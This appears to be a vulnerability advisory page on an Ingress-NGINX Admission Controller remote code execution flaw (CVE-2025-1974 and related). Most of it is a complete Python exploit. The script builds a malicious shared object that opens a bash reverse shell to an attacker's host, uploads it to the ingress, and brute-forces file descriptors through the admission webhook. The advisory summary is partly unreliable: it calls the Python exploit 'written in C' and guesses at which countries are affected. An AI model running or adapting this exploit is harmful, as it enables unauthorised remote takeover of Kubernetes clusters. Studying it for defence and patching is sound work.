A critical remote code execution (RCE) vulnerability exists in Ingress-NGINX Admission Controller version 1. 11. 1, caused by file descriptor (FD) injection. This flaw allows attackers to inject malicious file descriptors, leading to arbitrary code execution on the affected system without authentication or user interaction. The exploit code is publicly available and written in C, increasing the risk of weaponization. No official patches or fixes have been released yet. European organizations using this specific version of the Ingress-NGINX Admission Controller in their Kubernetes environments are at significant risk, especially those in countries with high cloud-native adoption. The vulnerability impacts confidentiality, integrity, and availability, making it critical to implement immediate mitigations such as isolating vulnerable components, monitoring for suspicious activity, and applying any available workarounds. Countries like Germany, the UK, France, and the Netherlands are likely most affected due to their extensive use of Kubernetes and cloud infrastructure. Organizations should prioritize upgrading once patches are available and restrict network access to the admission controller to minimize exposure.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE # Date: 2025-10-07 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://kubernetes.io # Software Link: https://github.com/kubernetes/ingress-nginx # Version: Affects v1.10.0 to v1.11.1 (potentially others) # Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster # CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974 import os import sys import socket import requests import threading from urllib.parse import urlparse from concurrent.futures import ThreadPoolExecutor import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # --- Embedded malicious shared object template --- MALICIOUS_C_TEMPLATE = """ #include <stdlib.h> __attribute__((constructor)) void run_on_load() { system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'"); } int bind(void *e, const char *id) { return 1; } void ENGINE_load_evil() {} int bind_engine() { return 1; } """ def compile_shared_library(host, port, output_file="evil_engine.so"): c_code = MALICIOUS_C_TEMPLATE.replace("HOST", host).replace("PORT", str(port)) with open("evil_engine.c", "w") as f: f.write(c_code) print("[*] Compiling malicious shared object...") result = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto") if result == 0: print("[+] Shared object compiled successfully.") return True else: print("[!] Compilation failed. Is gcc installed?") return False def send_brute_request(admission_url, json_template, proc, fd): print(f"[*] Trying /proc/{proc}/fd/{fd}") path = f"proc/{proc}/fd/{fd}" payload = json_template.replace("REPLACE", path) headers = {"Content-Type": "application/json"} url = admission_url.rstrip("/") + "/admission" try: response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5) print(f"[+] Response for /proc/{proc}/fd/{fd}: {response.status_code}") except Exception as e: print(f"[!] Error on /proc/{proc}/fd/{fd}: {e}") def brute_force_admission(admission_url, json_file="review.json", max_proc=50, max_fd=30, max_workers=5): try: with open(json_file, "r") as f: json_data = f.read() except FileNotFoundError: print(f"[!] Error: {json_file} not found.") return print("[*] Starting brute-force against the admission webhook...") with ThreadPoolExecutor(max_workers=max_workers) as executor: for proc in range(1, max_proc): for fd in range(3, max_fd): executor.submit(send_brute_request, admission_url, json_data, proc, fd) def upload_shared_library(ingress_url, shared_object="evil_engine.so"): try: with open(shared_object, "rb") as f: evil_payload = f.read() except FileNotFoundError: print(f"[!] Error: {shared_object} not found.") return parsed = urlparse(ingress_url) host = parsed.hostname port = parsed.port or 80 path = parsed.path or "/" try: sock = socket.create_connection((host, port)) except Exception as e: print(f"[!] Failed to connect to {host}:{port}: {e}") return fake_length = len(evil_payload) + 10 headers = ( f"POST {path} HTTP/1.1\r\n" f"Host: {host}\r\n" f"User-Agent: qmx-ingress-exploiter\r\n" f"Content-Type: application/octet-stream\r\n" f"Content-Length: {fake_length}\r\n" f"Connection: keep-alive\r\n\r\n" ).encode("iso-8859-1") print("[*] Uploading malicious shared object to ingress...") sock.sendall(headers + evil_payload) response = b"" while True: chunk = sock.recv(4096) if not chunk: break response += chunk print("[*] Server response:\n") print(response.decode(errors="ignore")) sock.close() def main(): if len(sys.argv) != 4: print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>") sys.exit(1) ingress_url = sys.argv[1] admission_url = sys.argv[2] rev_host_port = sys.argv[3] if ':' not in rev_host_port: print("[!] Invalid format for rev_host:port.") sys.exit(1) host, port = rev_host_port.split(":") if not compile_shared_library(host, port): sys.exit(1) # Send the malicious shared object and keep the connection open upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,)) upload_thread.start() # Simultaneously brute-force the admission webhook for valid file descriptors brute_force_admission(admission_url) if __name__ == "__main__": main()